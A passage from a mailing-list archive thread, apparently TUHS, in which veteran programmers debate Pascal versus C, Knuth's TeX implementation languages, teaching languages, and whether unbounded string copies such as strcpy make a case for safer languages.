>>        int h(int x[][]) {
>>                int s = g(x[1][]);
>>        }
>> 
>>   Here we're passing a column of z as a vector to g.
>>   You'd end up with a illife vector or something! But
>>   if you do this, vector access can slow down...
> 
> -- 
> ---
> Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 



From crossd at gmail.com  Fri Sep  1 13:12:41 2017
From: crossd at gmail.com (Dan Cross)
Date: Thu, 31 Aug 2017 23:12:41 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <20170901012655.GH448@mcvoy.com>
References: <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
 <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>
 <20170901012655.GH448@mcvoy.com>
Message-ID: <CAEoi9W6Doy3L8kRS9i4nBoiWqySMFK78PmkJDnBWuSLr_0MCoQ@mail.gmail.com>

On Thu, Aug 31, 2017 at 9:26 PM, Larry McVoy <lm at mcvoy.com> wrote:

> On Thu, Aug 31, 2017 at 06:22:41PM -0700, Bakul Shah wrote:
> > > On Aug 31, 2017, at 2:46 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > > So what chaps my grumpy old hide is why the heck do a whole new
> language
> > > when you have one that is pretty good?  Suppose we took C and added a
> > > dialect via options:
> > >
> > >     --no-ptrs       // use arrays and indices, you get bounds checking
> > >     --strings       // system managed memory for strings, like tcl
> > >     --perlisms      // if (buf =~ /re/) and unless (it_worked())
> >
> > Such a language would stop being C.
>
> Indeed.  But it builds on C.


Not only would such a language be C-based but not C, it would beg the
question: why?

I saw a very interesting presentation a few months back by someone on the
C++ standards committee. He was describing *how* the standards process
works, but at one point described some of the upcoming features. If I
recall, one proposal was to add list comprehensions, more or less because
"Python has them." I couldn't resist asking in the Q&A, "Why?" The idea
being that if I want Python, I know where to get Python (or Haskell, for
that matter). Why does every language need to evolve to be every other
language and in so doing grow into an uncontrolled and uncontrollable mess?
I wasn't trying to be confrontational (I phrased my question somewhat more
politely than what I just wrote here) but the answer was a tad defensive.
As I recall, something along the lines of, "well, that's what the kids
coming out of schools that teach Python expect these days, and we need them
to stay relevant." I don't find that particularly compelling: languages are
kind of like tools, and as such, often serve different purposes. If I want
to solve a problem that is best suited to C, then I'll use C; if I want to
solve some problem that's best suited to a different language (stronger
type system, a richer set of built-in abstractions, first-class concurrency
primitives, etc) then I'll reach for that instead. Why is that
controversial? If I want to drive a screw, I reach for a screwdriver, not a
hammer.

Anyway, I for one am perfectly content for C to remain the high-level
assembler that it mostly is. Call me a heretic, but I don't particularly
want to write large programs in it anymore. That said, I also don't want it
to grow too large, because then it makes it harder to use for low-level
things. For example, I'm a little nonplussed about thread support in C11:
what if I want to work in a world where a pthread-like thread isn't the
concurrency model? Similarly with the semantics around atomics. Is
compliance with the language standard going to force something on me that
makes it hard to experiment with new ways of doing things?

Anyway, I like the idea of multiple languages that occupy different niches.

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/b95ce3a8/attachment.html>

From imp at bsdimp.com  Fri Sep  1 13:53:15 2017
From: imp at bsdimp.com (Warner Losh)
Date: Thu, 31 Aug 2017 21:53:15 -0600
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
	Unearthed!
In-Reply-To: <20170901024548.khkx3y3ggkbylukt@matica.foolinux.mooo.com>
References: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
 <1504225167.59a8a78fdd078@www.paradise.net.nz>
 <20170901004743.GA448@mcvoy.com>
 <20170901024548.khkx3y3ggkbylukt@matica.foolinux.mooo.com>
Message-ID: <CANCZdfo4kpg8h85bU20iA_dg8KeSm=9zOjqpYj9B+H2mB+8nog@mail.gmail.com>

On Thu, Aug 31, 2017 at 8:45 PM, Ian Zimmerman <itz at very.loosely.org> wrote:

> On 2017-08-31 17:47, Larry McVoy wrote:
>
> >       IF (expr)
> >       BEGIN
> >               blah
> >               blah
> >               blah
> >       END
> >
> > I'm sorry but I'm with whoever it was that said { } are better than
> > BEGIN END.  Seems trivial but it's not to me.
>
> IMO, that's taking 1 part of a large coherent whole and judging by that.
> I am terrible with metaphors and similes, but maybe a bit like saying "I
> don't like the GPL because it restricts what I can do with my code."
>
> Here's another construct from C:
>
> for (i = n; i > 0; --i) {
>     blah();
> }
>
> In a language like Pascal (really Algol), that is
>
> FOR i = n TO 0 DO
>     Blah()
> DONE
>
> That's much closer typing-wise, isn't it?  That's because of the melding
> of the brackets with the control structure keywords.  But you can't do
> that _and_ have braces.
>

Today  I might agree with you because of the fancy IDEs coupled with the
huge screen size makes this a little easier to read.

When I learned, screen space was at a premium (24x80) so I had to make
every line count and pack in as much as I could. And any short cut to
typing also helped me write things faster, so I gravitated to C as soon as
it was available at an affordable price... It also was easier to do via
dialup at 1200 or 2400 baud.

But then again, I still write in 'C' because I find it easiest to grok
after 35 years of use... I'm also teaching python to my son and haven't
introduced C and compilers and makefiles. python just runs and the
indenting thing, though it offends my aesthetic, isn't a big deal with a
decent editor.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/a625f8e5/attachment.html>

From lm at mcvoy.com  Fri Sep  1 13:56:29 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 31 Aug 2017 20:56:29 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
 Unearthed!
In-Reply-To: <CANCZdfo4kpg8h85bU20iA_dg8KeSm=9zOjqpYj9B+H2mB+8nog@mail.gmail.com>
References: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
 <1504225167.59a8a78fdd078@www.paradise.net.nz>
 <20170901004743.GA448@mcvoy.com>
 <20170901024548.khkx3y3ggkbylukt@matica.foolinux.mooo.com>
 <CANCZdfo4kpg8h85bU20iA_dg8KeSm=9zOjqpYj9B+H2mB+8nog@mail.gmail.com>
Message-ID: <20170901035629.GP448@mcvoy.com>

+1

On Thu, Aug 31, 2017 at 09:53:15PM -0600, Warner Losh wrote:
> On Thu, Aug 31, 2017 at 8:45 PM, Ian Zimmerman <itz at very.loosely.org> wrote:
> 
> > On 2017-08-31 17:47, Larry McVoy wrote:
> >
> > >       IF (expr)
> > >       BEGIN
> > >               blah
> > >               blah
> > >               blah
> > >       END
> > >
> > > I'm sorry but I'm with whoever it was that said { } are better than
> > > BEGIN END.  Seems trivial but it's not to me.
> >
> > IMO, that's taking 1 part of a large coherent whole and judging by that.
> > I am terrible with metaphors and similes, but maybe a bit like saying "I
> > don't like the GPL because it restricts what I can do with my code."
> >
> > Here's another construct from C:
> >
> > for (i = n; i > 0; --i) {
> >     blah();
> > }
> >
> > In a language like Pascal (really Algol), that is
> >
> > FOR i = n TO 0 DO
> >     Blah()
> > DONE
> >
> > That's much closer typing-wise, isn't it?  That's because of the melding
> > of the brackets with the control structure keywords.  But you can't do
> > that _and_ have braces.
> >
> 
> Today  I might agree with you because of the fancy IDEs coupled with the
> huge screen size makes this a little easier to read.
> 
> When I learned, screen space was at a premium (24x80) so I had to make
> every line count and pack in as much as I could. And any short cut to
> typing also helped me write things faster, so I gravitated to C as soon as
> it was available at an affordable price... It also was easier to do via
> dialup at 1200 or 2400 baud.
> 
> But then again, I still write in 'C' because I find it easiest to grok
> after 35 years of use... I'm also teaching python to my son and haven't
> introduced C and compilers and makefiles. python just runs and the
> indenting thing, though it offends my aesthetic, isn't a big deal with a
> decent editor.
> 
> Warner

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From toby at telegraphics.com.au  Fri Sep  1 13:59:33 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Thu, 31 Aug 2017 23:59:33 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
Message-ID: <be0a1342-2620-86a8-1f60-ea8c4ba1948e@telegraphics.com.au>

On 2017-08-31 10:38 PM, Dan Cross wrote:
> On Thu, Aug 31, 2017 at 3:47 PM, Toby Thain <toby at telegraphics.com.au
> <mailto:toby at telegraphics.com.au>> wrote:
> [snip] 
> 
>     > But the problem was that in those days, because Wirth had designed it
>     > for complete small student programs, it was hard to write large real
>     > programs (as Brian points).  So people fixed it and every fixed it
>     > differently.  Pascal was hardly standardized. ...
>     >
>     > And this was the root of the real problem.
>     >
>     > You could not write “real” programs in it and really make them run on
>     > actual systems.   Brian was writing that paper, after an exercise in
> 
> 
>     Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
>     (using his literate programming toolset, but that did not extend the
>     language much).
> 
> 
> To be fair, I think that Knuth originally wrote both TeX and METAFONT in
> the SAIL language for the PDP-10. He switched to Pascal (again on the
> PDP-10) later.
> 

My point was that these are very much "real world" programs in a rather
vanilla Pascal.

(And if you want to bring SAIL into it as another substrate for "real
world" programs, we might learn something from contrasting it with
Pascal and C. I don't remember anything about it.)

--Toby


> 
>         - Dan C.
> 



From lyndon at orthanc.ca  Fri Sep  1 14:45:11 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Thu, 31 Aug 2017 21:45:11 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
 Unearthed!
In-Reply-To: <CANCZdfo4kpg8h85bU20iA_dg8KeSm=9zOjqpYj9B+H2mB+8nog@mail.gmail.com>
References: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
 <1504225167.59a8a78fdd078@www.paradise.net.nz>
 <20170901004743.GA448@mcvoy.com>
 <20170901024548.khkx3y3ggkbylukt@matica.foolinux.mooo.com>
 <CANCZdfo4kpg8h85bU20iA_dg8KeSm=9zOjqpYj9B+H2mB+8nog@mail.gmail.com>
Message-ID: <022A08F7-7B73-4755-90FB-68F6FDCA7C03@orthanc.ca>


> On Aug 31, 2017, at 8:53 PM, Warner Losh <imp at bsdimp.com> wrote:
> 
> But then again, I still write in 'C' because I find it easiest to grok after 35 years of use... I'm also teaching python to my son and haven't introduced C and compilers and makefiles. python just runs and the indenting thing, though it offends my aesthetic, isn't a big deal with a decent editor.

Wasn't Logo supposed to be the teaching language for the young ones?  "to turtle" still sticks in my mind, even though I never actually used the language.

--lyndon



From clemc at ccc.com  Fri Sep  1 23:46:39 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 1 Sep 2017 09:46:39 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
Message-ID: <CAC20D2MPKXC0HZmWofzsbS4sNzweU9ZJfxtqcADQfAdVZP7n3Q@mail.gmail.com>

On Thu, Aug 31, 2017 at 10:38 PM, Dan Cross <crossd at gmail.com> wrote:

> ​....​
>
> To be fair, I think that Knuth originally wrote both TeX and METAFONT in
> the SAIL language for the PDP-10. He switched to Pascal (again on the
> PDP-10) later.
>
> ​Dan, True enough but .... having learned Pascal on the 10 (well 20 at
that point) and SAIL on the 10s, the differences between them were minor in
this case.   I suspect the conversion was done in a few days in emacs.
SAIL basically was the Python of its day - with a load of libraries that
people used.  But it was just an extended Algol with a number of
PDP-10isms.  I have a the manual if you are curious (and I even had
??have?? a working compiler for the Masscomp [68000] at some point).

​

> ​...​
>
> Anyway, I wonder if Knuth would have produced the same TeX and METAFONT
> had he started in Pascal; perhaps he would have, but maybe he would have
> given up on some of the more ambitious parts of both because the language
> made it much less convenient (not knowing SAIL, I'm speculating). Perhaps
> having gone through the exercise of producing TeX in SAIL gave him insight
> that inspired him to work around Pascal's expressive limitations. Or
> perhaps the opposite is true.
>
​An interesting thought, but in this case, I'm not so sure.   I think the
more interesting question is if we had developed it on a 16/32 bit system
instead of a 18/36 bit system.​   If I think back about moving things from
the 10s (or the CDC systems) of that day, the problem was almost always an
issue of 16/32 not being 'enough' when you move the code to the PDP-11 or
Vax later.   It was less the pure language, and more the processor
representation that caused me trouble.

Funny, I remember in those days, we obtain a really nice Pascal compiler
that generated code for the 68000 that had been written on the CDC systems
somewhere in Europe ??CERN maybe??.   But moving it was damned near
impossible because it was assuming the word size of the CDC system.  It was
written in Pascal but because it *how* it was written, it could not even
compile itself.

We switched to Modula-II shortly there after as the C alternative, in Tek
Labs.

>
> Object Pascal, Delphi and Free Pascal (which seeks to implement the best
> of both) seem to have definitely fallen into that category.
>
>         - Dan C.
>
​+1 Indeed - this why I still use it as a teaching tool.  I start them with
a pure Pascal variant with all the bumpers and other shielding in place
that a beginner should have.   If they are more interested in systems
stuff, I'll let them learn C, if they want to start to do more
applications, then I continue with Delphi or simple Java (PBH's subset) so
they learn OO before I throw C++ at them.

Ches' comment about using Rust or Go is possible, but I have not found a
book I trust.  If PBH or Clancy would would redo one of their text, I'ld
feel a lot more comfortable.

Clem   ​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/ff2ad4e8/attachment.html>

From steffen at sdaoden.eu  Sat Sep  2 00:17:15 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Fri, 01 Sep 2017 16:17:15 +0200
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
 <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
Message-ID: <20170901141715.9eZXX%steffen@sdaoden.eu>

Nemo <cym224 at gmail.com> wrote:
 |Shades of Myfol vs. Yourtran!
 |
 |On 31/08/2017, Steffen Nurpmeso <steffen at sdaoden.eu> wrote (in part):
 |> and i still hear
 |> myself asking the teacher "What?  A language without goto?"
 |
 |Pascal has always had goto.  (One of Wirth's pascal compilers even
 |jumped from within one function to a label inside another function!)
 |
 |The construct was removed in Modula.  (As Parnas has said, the problem
 |is not having a comefrom to go with the goto.)

No, no, not the Pascal that we had to use there.  Definitely not.
Anyway, that is my rememberance, and i had to work with this for
a few months, and it (the GUI) surely had that command index page,
too.  I surely have looked for goto.  It was running under DOS.
(It was a German school, no University.  Thus.)  Hm.  Maybe
a castrated educational version?  Could that be?  Has such thing
ever existed?  Possibly even with the possibility for the teacher
to activate an extended command set for the progressed learners??
Interesting.

Sorry for the rest.

  I am coming from the holistic side anyway so that purely
  intdoctrinating education without cultivating heart and soul "i"
  (thus, say, since maybe 15 or 16, or 17) never liked.  I recall
  Smalltalk being proposed for education, but regardless of the
  language i think the most important part is that the children
  becomes curious and tries to discover and develop.

  I personally do not think that automatisms are good at all.  If
  you cook, you have to clean the kitchen.  If you tinker with
  your car or motorcycle you have to clean your tools at least.
  If you want to reap you have to sow.  If you want to use dynamic
  memory you have to release it.  Some things have to be let.
  That is also something important to be learned.  You can say
  bees are dying and that is good, let's just kill the rest and
  anything else that interferes, because the computer managed
  bee-drones that are being developed will not need no neutral
  zones at all, so a field with genetically manipulated seeds and
  massive crop eh protection can be layed out right beside an
  organic farming one.  They exactly follow the desired plan.  So
  to say.  Or you let, and possibly even create living willow
  fences surrounding them and the one or the other accompanying
  tree, too.  Like Prince Charles promotes since at least the
  1970s, if that remark is allowed.  To me the latter sounds more
  healthy, also mentally.  Admittedly all that needs fresh water,
  an emerging of the increasing problems.

  So nice and tiny, controllable and fully understood little
  objects are surely something good, letting them play together is
  like bouncing balls in the circus, but omnipotence dreamings
  should be targeted in the educational process also in the
  western world, me thinks.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From steffen at sdaoden.eu  Sat Sep  2 00:19:24 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Fri, 01 Sep 2017 16:19:24 +0200
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
 Unearthed!
In-Reply-To: <022A08F7-7B73-4755-90FB-68F6FDCA7C03@orthanc.ca>
References: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
 <1504225167.59a8a78fdd078@www.paradise.net.nz>
 <20170901004743.GA448@mcvoy.com>
 <20170901024548.khkx3y3ggkbylukt@matica.foolinux.mooo.com>
 <CANCZdfo4kpg8h85bU20iA_dg8KeSm=9zOjqpYj9B+H2mB+8nog@mail.gmail.com>
 <022A08F7-7B73-4755-90FB-68F6FDCA7C03@orthanc.ca>
Message-ID: <20170901141924.-O3qy%steffen@sdaoden.eu>

Lyndon Nerenberg <lyndon at orthanc.ca> wrote:
 |> On Aug 31, 2017, at 8:53 PM, Warner Losh <imp at bsdimp.com> wrote:
 |> 
 |> But then again, I still write in 'C' because I find it easiest to \
 |> grok after 35 years of use... I'm also teaching python to my son \
 |> and haven't introduced C and compilers and makefiles. python just \
 |> runs and the indenting thing, though it offends my aesthetic, isn't \
 |> a big deal with a decent editor.
 |
 |Wasn't Logo supposed to be the teaching language for the young ones? \
 | "to turtle" still sticks in my mind, even though I never actually \
 |used the language.

Never really having used it, but turtle and Smalltalk come
together in my mind?

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From krewat at kilonet.net  Sat Sep  2 00:28:21 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Fri, 1 Sep 2017 10:28:21 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <20170901141715.9eZXX%steffen@sdaoden.eu>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
 <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
 <20170901141715.9eZXX%steffen@sdaoden.eu>
Message-ID: <21d96011-2f41-2a84-1d38-66efca66490a@kilonet.net>

The subject has (yet again) come up in this discussion about buffer 
overflows and security when it comes to C.

I contend that if you do this:

void foo(char *a, char *b) {
     strcpy(a,b);
}

You're foolhardy and should be fired from your programming job.

I've been lazy when I need to write something quickly for my own use. I 
would never EVER blindly copy strings around without limiting their lengths.

It never occurred to me in my early years that this was more "secure" - 
it was just the right thing to do. Coming from a PDP-10 MACRO background 
as a teenager, I couldn't imagine a world where you blindly excepted 
strings or any other data from an outside source and didn't sanity check 
it for length or content.

It amazed me when I'd run into something written by someone else that if 
you put the wrong data into it would SIGSEGV or SIGBUS. Blasphemy!

;)

We don't need no stinkin' safety rails, we're smart enough not to walk 
off that cliff in the first place. And who knows, we may need to walk 
off that cliff at some point in the future.


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/e7d91055/attachment.html>

From toby at telegraphics.com.au  Sat Sep  2 00:43:48 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Fri, 1 Sep 2017 10:43:48 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
Message-ID: <ada36aea-dc85-71b1-8a68-5210a003ae27@telegraphics.com.au>

On 2017-08-31 10:38 PM, Dan Cross wrote:
> On Thu, Aug 31, 2017 at 3:47 PM, Toby Thain <toby at telegraphics.com.au
> <mailto:toby at telegraphics.com.au>> wrote:
> [snip] 
> 
>     > But the problem was that in those days, because Wirth had designed it
>     > for complete small student programs, it was hard to write large real
>     > programs (as Brian points).  So people fixed it and every fixed it
>     > differently.  Pascal was hardly standardized. ...
>     >
>     > And this was the root of the real problem.
>     >
>     > You could not write “real” programs in it and really make them run on
>     > actual systems.   Brian was writing that paper, after an exercise in
> 
> 
>     Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
>     (using his literate programming toolset, but that did not extend the
>     language much).
> 
> 
> To be fair, I think that Knuth originally wrote both TeX and METAFONT in
> the SAIL language for the PDP-10. He switched to Pascal (again on the
> PDP-10) later.
> 
> I've often wondered to what extent (natural) language shapes thought ...

> I have long suspected that it is true of programming. 

I don't think any of the above is in doubt.


> While most of the
> languages we use are Turing complete (I suppose that in the limit one
> can write a Common Lisp implementation in C, for example), it is
> unarguable that some languages make it *easier* to express some things
> than other languages. In some cases this is deliberate: consider
> languages with strong, static type systems versus dynamic but strongly
> typed languages (or statically but weakly typed). Here the language
> designers have intentionally made it hard to escape the tyranny of the
> type system in order to prevent bugs.

(Tyranny is not the word I would use. A more modern viewpoint would
include topics like parametric polymorphism, typeclasses and so on.)

> 
> Anyway, I wonder if Knuth would have produced the same TeX and METAFONT
> had he started in Pascal; perhaps he would have, but maybe he would have
> given up on some of the more ambitious parts of both because the
> language made it much less convenient (not knowing SAIL, I'm


It seems inconceivable to me that there are "ambitious parts" of TeX and
METAFONT that Professor Knuth had to omit because he was using Pascal.
Knuth has shown himself in various ways (including MIX, but also his
literate programs in Pascal and C) to prefer programming at low levels
(by modern standards) but his code amply shows that Pascal barely
presented any impediment to doing so -- though he now uses literate C.

Of course his programs would look different in, say, Haskell or Ocaml.

I have not compared the codebases but wouldn't one expect that the final
production TeX rewrite is *more* ambitious than the early SAIL version?
(By the time I began using/porting TeX in the 1980s, the older version
was completely obsolete.)


> speculating). Perhaps having gone through the exercise of producing TeX
> in SAIL gave him insight that inspired him to work around Pascal's
> expressive limitations. Or perhaps the opposite is true.

I honestly don't know what limitations you mean. If you mean "different
style of expression," sure. (Maybe if SAIL had lexically scoped lambda
closures, there'd be a difference worth talking about...)

> 
> Regardless, comparing the work of a Knuth to the industry average is
> more than a bit unfair. :-)
> 
>     I suppose Apple's Pascal and Object Pascal -- used for Lisa and
>     Macintosh applications and systems software -- comes under the "so
>     people fixed it" category?
> 
> 
> Object Pascal, Delphi and Free Pascal (which seeks to implement the best
> of both) seem to have definitely fallen into that category.

I'm not sure if the Apple compiler used circa 1983 was *Object* Pascal
but it was certainly extended with many intrinsics, casts, and pointer
operations, bringing it essentially into parity with C for systems and
application programming.

--Toby


> 
>         - Dan C.
> 



From ches at cheswick.com  Sat Sep  2 00:48:01 2017
From: ches at cheswick.com (William Cheswick)
Date: Fri, 1 Sep 2017 10:48:01 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <21d96011-2f41-2a84-1d38-66efca66490a@kilonet.net>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
 <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
 <20170901141715.9eZXX%steffen@sdaoden.eu>
 <21d96011-2f41-2a84-1d38-66efca66490a@kilonet.net>
Message-ID: <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>

I think we have 30 years’ experience that clearly shows that dangerous languages
will be misused in critical areas, even if most of us are very careful.

Marcus Ranum once wrote a one-page version of inetd that he thought was secure.  He was and is as committed to security as anyone, and had long experience writing software important to the early Internet.  Steve Bellovin found a security hole in that one-page program.

I am convinced that a safe language with very tiny holes allowing access to dangerous stuff (like memory management in the kernel) is simply safer.  Clearly, we are no where near that right now.

> On 1Sep 2017, at 10:28 AM, Arthur Krewat <krewat at kilonet.net> wrote:
> 
> We don't need no stinkin' safety rails, we're smart enough not to walk off that cliff in the first place. And who knows, we may need to walk off that cliff at some point in the future.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/cc8cfcfc/attachment.html>

From clemc at ccc.com  Sat Sep  2 01:14:17 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 1 Sep 2017 11:14:17 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <ada36aea-dc85-71b1-8a68-5210a003ae27@telegraphics.com.au>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
 <ada36aea-dc85-71b1-8a68-5210a003ae27@telegraphics.com.au>
Message-ID: <CAC20D2P4giNo-AW_bnL8kmHXqF7vL1KVPmpYHvXsLSESczU_wA@mail.gmail.com>

